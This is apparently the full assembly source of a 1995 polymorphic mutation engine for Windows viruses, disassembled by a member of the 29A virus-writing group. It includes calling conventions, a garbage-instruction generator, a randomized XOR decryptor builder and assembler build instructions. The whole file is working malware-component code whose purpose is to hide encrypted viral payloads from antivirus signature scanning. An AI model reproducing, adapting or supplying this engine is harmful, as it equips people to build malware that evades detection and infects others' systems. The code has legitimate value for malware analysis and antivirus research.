comment *
 Phantasie Mutation Engine for Windows v 0.00 [PME/W]  млллллм млллллм млллллм
                    Disassembly by                     ллл ллл ллл ллл ллл ллл
                     Darkman/29A                        мммллп плллллл ллллллл
                                                       лллмммм ммммллл ллл ллл
                                                       ллллллл ллллллп ллл ллл

                 Calling parameters:
                   CX     Length of original code
                   DX:AX  Pointer to relocation table
                   DS:SI  Pointer to original code
                   ES:DI  Pointer to decryptor + encrypted code

                 Return parameters:
                   CX     Length of decryptor

  Garbage instructions:
    CLD; STD; REP; REPNE; NOP; MOV reg,reg; MOV reg,[imm16]; ADD reg,reg;
    ADD reg,[imm16]; ADC reg,reg; ADC reg,[imm16]; SUB reg,reg;
    SUB reg,[imm16]; SBB reg,reg; SBB reg,[imm16]; CMP reg,reg;
    CMP reg,[imm16]; AND reg,reg; AND reg,[imm16]; OR reg,reg; OR reg,[imm16];
    XOR reg,reg; XOR reg,[imm16];
  
  Garbage registers:
    AL; AH; BL; BH; CL; CH; DL; DH; AX; BX; CX; DX; BP; SP; DI; SI

  Decryptor:
    One to thirty-five bytes of garbage instruction(s).
    PUSHA
    One to thirty-five bytes of garbage instruction(s).
    PUSH DS
    One to thirty-five bytes of garbage instruction(s).
    PUSH CS
    One to thirty-five bytes of garbage instruction(s).
    POP BX
    One to thirty-five bytes of garbage instruction(s).
    MOV AX,0Ah
    One to thirty-five bytes of garbage instruction(s).
    INT 31h
    One to thirty-five bytes of garbage instruction(s).
    MOV DS,AX
    One to thirty-five bytes of garbage instruction(s).
    MOV BX,imm16                                    (Offset of encrypted code)
    One to thirty-five bytes of garbage instruction(s).
    One to thirty-five bytes of garbage instruction(s).
    XOR [BX],imm8
    One to thirty-five bytes of garbage instruction(s).
    NOT BX    
    One to thirty-five bytes of garbage instruction(s).
    NEG BX    
    One to thirty-five bytes of garbage instruction(s).
      CMP BX,imm16                                 (Offset of relocation item)
      One to thirty-five bytes of garbage instruction(s).
      JNE imm8                                   (Offset of end of ADD BX,04h)
      One to thirty-five bytes of garbage instruction(s).
      ADD BX,04h
      One to thirty-five bytes of garbage instruction(s).
    CMP BX,imm16                                    (Offset of encrypted code)
    One to thirty-five bytes of garbage instruction(s).
    JE imm8                                         (Offset of encrypted code)
    One to thirty-five bytes of garbage instruction(s).
    JMP imm16               (Offset of garbage generation above XOR [BX],imm8)
    One to thirty-five bytes of garbage instruction(s).
    POP DS
    One to thirty-five bytes of garbage instruction(s).
    POPA

  Minimum length of decryptor:               47 bytes.
  Maximum length of decryptor:              Depends on the number of
                                            relocation items
  Length of PME for Windows v 0.00 [PME/W]: 957 bytes.

  To compile PME for Windows v 0.00 [PME/W] with Turbo Assembler v 5.0 type:
    TASM /M PMEW.ASM
*

.model tiny
.code
.186
             public  pmew,pmew_end

code_begin:
pmew         proc    near                ; PME for Windows v 0.00 [PME/W]
             jmp     pmew_poly

             nop     
             
             db      ' PME for Windows v0.00 (C) Jul 1995 By Burglar '
pmew_poly:
             push    ax bx dx bp si di ds es
             mov     bp,ds               ; BP = data segment

             push    ax                  ; Save AX at stack
             push    cs                  ; Save CS at stack
             pop     bx                  ; Load BX from stack (CS)

             mov     ax,0ah              ; Create alias descriptor
             int     31h
             mov     ds,ax               ; DS = new data selector
             pop     ax                  ; Load AX from stack

             call    delta_offset
delta_offset:
             pop     bx                  ; Load BP from stack
             sub     bx,offset delta_offset

             mov     [bx+reg_flags],1111110110101010b
             mov     [bx+flags_flag],00000000h
             nop     

             mov     word ptr [bx+original_ptr],si
             mov     word ptr [bx+original_ptr+02h],bp
             mov     word ptr [bx+decrypt_ptr],di
             mov     word ptr [bx+decrypt_ptr+02h],es
             mov     [bx+original_len],ax
             mov     word ptr [bx+relocat_ptr],ax
             mov     word ptr [bx+relocat_ptr+02h],dx

             cld                         ; Clear direction flag
             call    gen_garbage

             mov     al,01100000b        ; PUSHA (opcode 60h)
             stosb                       ; Store PUSHA
             mov     [bx+reg_flags],0000000000000000b
             call    gen_garbage

             mov     al,00011110b        ; PUSH DS (opcode 1eh)
             stosb                       ; Store PUSH DS
             call    gen_garbage

             mov     al,00001110b        ; PUSH CS (opcode 0eh)
             stosb                       ; Store PUSH CS
             call    gen_garbage

             mov     al,01011011b        ; POP BX (opcode 5bh)
             stosb                       ; Store POP BX
             or      [bx+reg_flags],0000000010001000b
             call    gen_garbage

             mov     al,10111000b        ; MOV AX,imm16 (opcode 0b8h)
             stosb                       ; Store MOV AX,imm16
             mov     ax,0ah              ; MOV AX,0Ah (opcode 0b8h,0ah,00h)
             stosw                       ; Store MOV AX,imm16
             or      [bx+reg_flags],0000000000010001b
             call    gen_garbage

             mov     ax,0011000111001101b
             stosw                       ; Store INT 31h (opcode 0cdh,31h)
             and     [bx+reg_flags],1111111101110111b
             call    gen_garbage

             mov     ax,1101100010001110b
             stosw                       ; Store MOV DS,AX (opcode 8eh,0d8h)
             and     [bx+reg_flags],0000000000010001b
             call    gen_garbage

             mov     al,10111011b        ; MOV BX,imm16 (opcode 0bbh)
             stosb                       ; Store MOV BX,imm16
             push    di                  ; Save DI at stack
             scasw                       ; Store 16-bit immediate
             or      [bx+reg_flags],0000000010001000b
             call    gen_garbage

             mov     [bx+mov_bx_off],di  ; Store offset of MOV BX,imm16
             call    gen_garbage

             mov     ax,0011011110000000b
             stosw                       ; Store XOR [BX],imm8 (opcode 80h...)
             push    di                  ; Save DI at stack
             scasb                       ; Store 8-bit immediate
             call    gen_garbage

             mov     ax,1101001111110111b
             stosw                       ; Store NOT BX (opcode 0f7h,0d3h)
             call    gen_garbage

             mov     ax,1101101111110111b
             stosw                       ; Store NEG BX (opcode 0f7h,0dbh)
             call    gen_garbage

             push    ds                  ; Save DS at stack
             mov     si,word ptr [bx+relocat_ptr]
             mov     ds,word ptr [bx+relocat_ptr+02h]
             mov     cx,[si]             ; CX = number of relocation items
             pop     ds                  ; Load DS from stack
             jcxz    no_rel_items        ; No relocation items? Jump to no_...
gen_rel_loop:
             mov     ax,1111101110000001b
             stosw                       ; Store CMP BX,imm16 (opcode 81h,...)
             push    di                  ; Save DI at stack
             scasw                       ; Store 16-bit immediate
             mov     [bx+flags_flag],00000001b
             nop     
             call    gen_garbage

             mov     al,01110101b        ; JNE imm8 (opcode 75h)
             stosb                       ; Store JNE imm8
             push    di                  ; Save DI at stack
             scasb                       ; Store 8-bit immediate
             mov     [bx+flags_flag],00000000h
             nop     
             call    gen_garbage

             mov     ax,1100001110000011b
             stosw                       ; Store ADD BX,imm8 (opcode 83h,0c3h)
             mov     al,04h              ; ADD BX,04h (opcode 83h,0c3h,04h)
             stosb                       ; Store ADD BX,04h
             call    gen_garbage

             pop     si                  ; Load SI from stack
             mov     dx,si               ; DX = offset of JNE imm8
             inc     dx                  ; DX = offset of end of JNE imm8

             mov     ax,di               ; AX = offset within decryptor
             sub     ax,dx               ; AX = 16-bit immediate
             mov     es:[si],al          ; Store 8-bit immediate

             loop    gen_rel_loop
no_rel_items:
             mov     ax,1111101110000001b
             stosw                       ; Store CMP BX,imm16 (opcode 81h,...)
             push    di                  ; Save DI at stack
             scasw                       ; Store 16-bit immediate
             mov     [bx+flags_flag],00000001b
             nop     
             call    gen_garbage

             mov     al,01110100b        ; JE imm8 (opcode 74h)
             stosb                       ; Store JE imm8
             push    di                  ; Save DI at stack
             scasb                       ; Store 8-bit immediate
             call    gen_garbage

             mov     al,11101001b        ; JMP imm16 (opcode 0e9h)
             stosb                       ; Store JMP imm16

             mov     ax,[bx+mov_bx_off]  ; AX = offset of MOV BX,imm16
             mov     dx,di               ; DX = offset within decryptor
             add     dx,02h              ; DX = offset of end of decryptor
             sub     ax,dx               ; AX = 16-bit immediate
             stosw                       ; Store 16-bit immediate
             call    gen_garbage

             pop     si                  ; Load SI from stack
             mov     dx,si               ; DX = offset of JNE imm8
             inc     dx                  ; DX = offset of end of JNE imm8

             mov     ax,di               ; AX = offset within decryptor
             sub     ax,dx               ; AX = 16-bit immediate
             mov     es:[si],al          ; Store 8-bit immediate

             mov     al,00011111b        ; POP DS (opcode 1fh)
             stosb                       ; Store POP DS
             call    gen_garbage

             mov     al,01100001b        ; POPA (opcode 61h)
             stosb                       ; Store POPA
             
             mov     ax,di               ; AX = offset of encrypted code
             sub     ax,word ptr [bx+decrypt_ptr]
             mov     [bx+decrypt_len],ax ; Store length of decryptor

             mov     ax,[bx+decrypt_len] ; AX = length of decryptor
             add     ax,[bx+original_len]
             pop     si                  ; Load SI from stack
             mov     es:[si],ax          ; Store 16-bit immediate

             mov     dx,ds               ; DX = new data selector
             mov     si,word ptr [bx+relocat_ptr]
             mov     ds,word ptr [bx+relocat_ptr+02h]
             lodsw                       ; AX = number of relocation items
             mov     cx,ax               ; CX =   "    "      "        "
             jcxz    no_rel_item         ; No relocation items? Jump to no_...

             dec     ax                  ; Decrease number of relocation items
             shl     ax,01h              ; Multiply number of relocation it...
             add     si,ax               ; SI = offset of last relocation item

             std                         ; Set direction flag
sto_rel_loop:
             lodsw                       ; AX = relocation item
             mov     bp,ds               ; BP = data segment
             mov     ds,dx               ; DS = new data selector
             add     ax,[bx+decrypt_len] ; Add length of decryptor to reloc...
             mov     ds,bp               ; DS = data segment

             pop     bp                  ; Load BP from stack
             mov     es:[bp+00h],ax      ; Store offset of relocation item ...

             loop    sto_rel_loop

             cld                         ; Clear direction flag
no_rel_item:
             mov     ds,dx               ; DS = new data selector
             call    get_rnd_num

             pop     bp                  ; Load BP from stack
             mov     es:[bp+0],al        ; Store encryption/decryption key

             pop     bp                  ; Load BP from stack
             push    [bx+decrypt_len]    ; Save length of decryptor at stack
             pop     es:[bp+00h]         ; Load offset of encrypted code fr...

             mov     cx,[bx+original_len]
             mov     si,word ptr [bx+original_ptr]
             mov     ds,word ptr [bx+original_ptr+02h]
             push    di                  ; Save DI at stack
             rep     movsb               ; Move the original code above the...
             pop     di                  ; Load DI from stack

             mov     ds,dx               ; DS = new data selector
             mov     bp,[bx+decrypt_len] ; BP = length of decryptor
             mov     cx,[bx+original_len]
             mov     si,word ptr [bx+relocat_ptr]
             mov     ds,word ptr [bx+relocat_ptr+02h]
encrypt_loop:
             push    ax cx si            ; Save registers at stack
             xor     es:[di],al          ; Encrypt byte of original code

             inc     di                  ; Increase index register

             lodsw                       ; AX = number of relocation items
             mov     cx, ax              ; CX =   "    "      "        "
             jcxz    no_rel_item_        ; No relocation items? Jump to no_...
tst_rel_loop:
             lodsw                       ; AX = relocation item
             add     ax,bp               ; Add data segment to relocation item

             push    ds                  ; Save DS at stack
             mov     ds,dx               ; DS = new data selector
             add     ax,word ptr [bx+decrypt_ptr]
             pop     ds                  ; Load DS from stack

             cmp     di,ax               ; Encrypting a relocation item?
             jne     not_rel_item        ; Not equal? Jump to not_rel_item

             add     di,04h              ; Don't encrypt relocation items
not_rel_item:
             loop    tst_rel_loop
no_rel_item_:
             pop     si cx ax            ; Load registers from stack

             loop    encrypt_loop

             mov     ds,dx               ; DS = new data selector
             mov     cx,[bx+decrypt_len] ; CX = length of decryptor
             pop     es ds di si bp dx bx ax

             ret                         ; Return
             endp

gen_garbage  proc    near                ; Generate garbage
             push    si                  ; Save SI at stack
             call    get_rnd_num
             aam     20h                 ; AL = random number within thirty...
             cbw                         ; Zero AH
             mov     bp,ax               ; AX = random number within thirty...
             add     bp,di               ; BP = offset of end of garbage ge...
garbage_loop:
             call    get_rnd_num
             and     al,00000001b        ; AL = random number within one
             shl     al,01h              ; Multiply random number with two
             mov     si,ax               ; SI = random number within one
             and     si,0000000011111111b

             mov     si,[bx+si+garbage_tbl]
             lea     si,[bx+si]          ; SI = offset of garbage generator
             call    si
             cmp     di,bp               ; End of garbage generation?
             jb      garbage_loop        ; Below? Jump to garbage_loop
             pop     si                  ; Load SI from stack

             ret                         ; Return
             endp

gen_logical  proc    near                ; Generate logical operation
             push    ax cx dx si         ; Save registers at stack
             call    get_rnd_num
             aam     (logica_end-logica_begin)

             test    [bx+flags_flag],00000001b
             nop     
             jz      gen_flag_gar        ; Generate flag modifying garbage?...

             and     al,00000000b        ; Zero AL
gen_flag_gar:
             cbw                         ; Zero AH
             mov     si,ax               ; SI = random number within nine
             mov     ah,[bx+si+logical_tbl]

             call    get_rnd_num
             test    al,00000001b        ; Generate MOV reg,reg; ADD reg,r...?
             jnz     gen_reg_reg         ; Not zero? Jump to gen_reg_reg

             call    get_dest_reg

             push    ax                  ; Save AX at stack
             shr     al,03h              ; Shift AL logical three bits right
             and     al,00000001b        ; MOV reg,reg; ADD reg,reg; ADC re...
             or      ah,al               ;      "            "           "

             call    get_rnd_num
             and     al,00000010b        ; AL = direction
             or      ah,al               ; MOV reg,reg; ADD reg,reg; ADC re...
             xchg    al,ah               ;      "            "           "
             stosb                       ; Store MOV reg,reg; ADD reg,reg; ...
             or      ah,ah
             pop     ax                  ; Load AX from stack
             
             mov     ah,al               ; AH = destination register
             call    get_rnd_num
             jnz     prepare_regs        ; Not zero? Jump to prepare_regs
             and     ah,00000111b        ; AH = destnation register

             and     al,00111000b        ; AL = source register

             jmp     sto_reg_reg

             nop     
prepare_regs:
             shl     al,03h              ; Shift AL logical two bits left
             and     ah,00111000b        ; AL = source register
             and     al,00000111b        ; AH = destnation register
sto_reg_reg:
             or      al,11000000b        ; MOV reg,reg; ADD reg,reg; ADC re...
             or      al,ah               ;      "            "           "
             stosb                       ; Store MOV reg,reg; ADD reg,reg; ...

             jmp     gen_log_exit

             nop     
gen_reg_reg:
             or      ah,00000010b        ; MOV reg,[imm16]; ADD reg,[imm16]...
             call    get_dest_reg

             push    ax                  ; Save AX at stack
             shr     al,03h              ; Shift AL logical three bits right
             and     al,00000001b        ; MOV reg,[imm16]; ADD reg,[imm16]...
             or      ah,al               ;        "                 "
             mov     al,ah               ;        "                 "
             stosb                       ; Store MOV reg,[imm16]; ADD reg,[...
             pop     ax                  ; Load AX from stack

             shl     al,03h              ; Shift AL logical two bits left
             and     al,00111000b        ; AL = destination register
             or      al,00000110b        ; AL =      "         "
             stosb                       ; Store MOV reg,[imm16]; ADD reg,[...

             call    get_rnd_num
             mov     ah,al               ; AH = 8-bit random number

             call    get_rnd_num
             xor     dx,dx               ; Zero DX
             mov     cx,1ffh             ; Didide random number by five hun...
             div     cx                  ; AX = 16-bit immediate
             stosw                       ; Store 16-bit immediate
gen_log_exit:
             pop     si dx cx ax         ; Load registers from stack

             ret                         ; Return
             endp
             
gen_one_byte proc    near                ; Generate one byte garbage instru...
             push    si                  ; Save SI at stack
             call    get_rnd_num
             aam     (one_by_end-one_by_begin)
             cbw                         ; Zero AH

             mov     si,ax               ; SI = random number within five
             mov     al,byte ptr [bx+si+one_byte_tbl]
             stosb                       ; Store one byte garbage instruction
             pop     si                  ; Load SI from stack

             ret                         ; Return
             endp

get_dest_reg proc    near                ; Get destination register
             push    si                  ; Save SI at stack
             call    get_rnd_num
             and     al,00001111b        ; AL = random number within fifteen
             shl     al,01h              ; Multiply random number with two
             mov     si,ax               ; SI = random number within fifteen
             and     si,0000000011111111b
             mov     si,[bx+si+test_reg_tbl]
             lea     si,[bx+si]          ; SI = offset of register test
             call    si
             pop     si                  ; Load SI from stack
             jnz     get_dest_reg        ; Not zero? Jump to get_dest_reg

             shr     al,01h              ; Divide random number by two

             ret                         ; Return
             endp

test_one     proc                        ; First test
             test    [bx+reg_flags],0000000000000001b

             ret                         ; Return
             endp

test_two     proc                        ; Second test
             test    [bx+reg_flags],0000000000000010b

             ret                         ; Return
             endp

test_three   proc                        ; Third test
             test    [bx+reg_flags],0000000000000100b

             ret                         ; Return
             endp

test_four    proc                        ; Fourth test
             test    [bx+reg_flags],0000000000001000b

             ret                         ; Return
             endp

test_five    proc                        ; Fifth test
             test    [bx+reg_flags],0000000000010000b

             ret                         ; Return
             endp

test_six     proc                        ; Sixth test
             test    [bx+reg_flags],0000000000100000b

             ret                         ; Return
             endp

test_seven   proc                        ; Seventh test
             test    [bx+reg_flags],0000000001000000b

             ret                         ; Return
             endp

test_eight   proc                        ; Eightth test
             test    [bx+reg_flags],0000000010000000b

             ret                         ; Return
             endp

test_nine    proc                        ; Nineth test
             test    [bx+reg_flags],0000000000010001b

             ret                         ; Return
             endp

test_ten     proc                        ; Tenth test
             test    [bx+reg_flags],0000000000100010b

             ret                         ; Return
             endp

test_eleven  proc                        ; Eleventh test
             test    [bx+reg_flags],0000000001000100b

             ret                         ; Return
             endp

test_twelve  proc                        ; Twelveth test
             test    [bx+reg_flags],0000000010001000b

             ret                         ; Return
             endp

test_thirtee proc                        ; Thirteenth test
             or      al,al

             ret                         ; Return
             endp

test_fourtee proc                        ; Fourteenth test
             test    [bx+reg_flags],0000001000000000b

             ret                         ; Return
             endp

test_fifteen proc                        ; Fifteenth test
             test    [bx+reg_flags],0000010000000000b

             ret                         ; Return
             endp

test_sixteen proc                        ; Sixteenth test
             test    [bx+reg_flags],0000100000000000b

             ret                         ; Return
             endp

get_rnd_num  proc    near                ; Get 8-bit random number
             pushf                       ; Save flags at stack
             push    cx                  ; Save CX at stack

             push    ax                  ;  "   AX "    "
             in      al,40h              ; AL = 8-bit random number
             mov     cl,al               ; CL =   "     "      "
             in      al,40h              ; AL =   "     "      "
             mov     ah,al               ; AH =   "     "      "
             in      al,40h              ; AL = 8-bit random number
             xor     al,ah               ; Exclusive OR second 8-bit random...
             rcr     al,cl               ; Rotate through carry right first...
             mov     cl,al               ; CL = 8-bit random number
             pop     ax                  ; Load AX from stack

             mov     al,cl               ; AL = 8-bit random number
             pop     cx                  ; Load CX from stack
             popf                        ; Load flags from stack

             ret                         ; Return
             endp
code_end:             
reg_flags    dw      ?                   ; Destination register flags
flags_flag   db      ?                   ; Flags flag
original_ptr dd      ?                   ; Pointer to original code
decrypt_ptr  dd      ?                   ; Pointer to decryptor + encrypted...
relocat_ptr  dd      ?                   ; Pointer to relocation table
original_len dw      ?                   ; Length of original code
decrypt_len  dw      ?                   ; Length of decryptor
mov_bx_off   dw      ?                   ; Offset of MOV BX,imm16
logica_begin:
logical_tbl  db      10001000b           ; MOV reg,reg; MOV reg,[imm16]
             db      00000000b           ; ADD reg,reg; ADD reg,[imm16]
             db      00010000b           ; ADC reg,reg; ADC reg,[imm16]
             db      00101000b           ; SUB reg,reg; SUB reg,[imm16]
             db      00011000b           ; SBB reg,reg; SBB reg,[imm16]
             db      00111000b           ; CMP reg,reg; CMP reg,[imm16]
             db      00100000b           ; AND reg,reg; AND reg,[imm16]
             db      00001000b           ; OR reg,reg; OR reg,[imm16]
             db      00110000b           ; XOR reg,reg; XOR reg,[imm16]
logica_end:
one_by_begin:
one_byte_tbl:
             cld                         ; Clear direction flag
             std                         ; Set direction flag
             rep
             repne
             nop     
one_by_end:
test_begin:
test_reg_tbl dw      test_one            ; Offset of test_one
             dw      test_two            ; Offset of test_two
             dw      test_three          ; Offset of test_three
             dw      test_four           ; Offset of test_four
             dw      test_five           ; Offset of test_five
             dw      test_six            ; Offset of test_six
             dw      test_seven          ; Offset of test_seven
             dw      test_eight          ; Offset of test_eight
             dw      test_nine           ; Offset of test_nine
             dw      test_ten            ; Offset of test_ten
             dw      test_eleven         ; Offset of test_eleven
             dw      test_twelve         ; Offset of test_twelve
             dw      test_thirtee        ; Offset of test_thirtee
             dw      test_fourtee        ; Offset of test_fourtee
             dw      test_fifteen        ; Offset of test_fifteen
             dw      test_sixteen        ; Offset of test_sixteen
test_end:
garbage_tbl  dw      gen_logical         ; Offset of gen_logical
             dw      gen_one_byte        ; Offset of gen_one_byte
data_end:
pmew_end:

end          code_begin

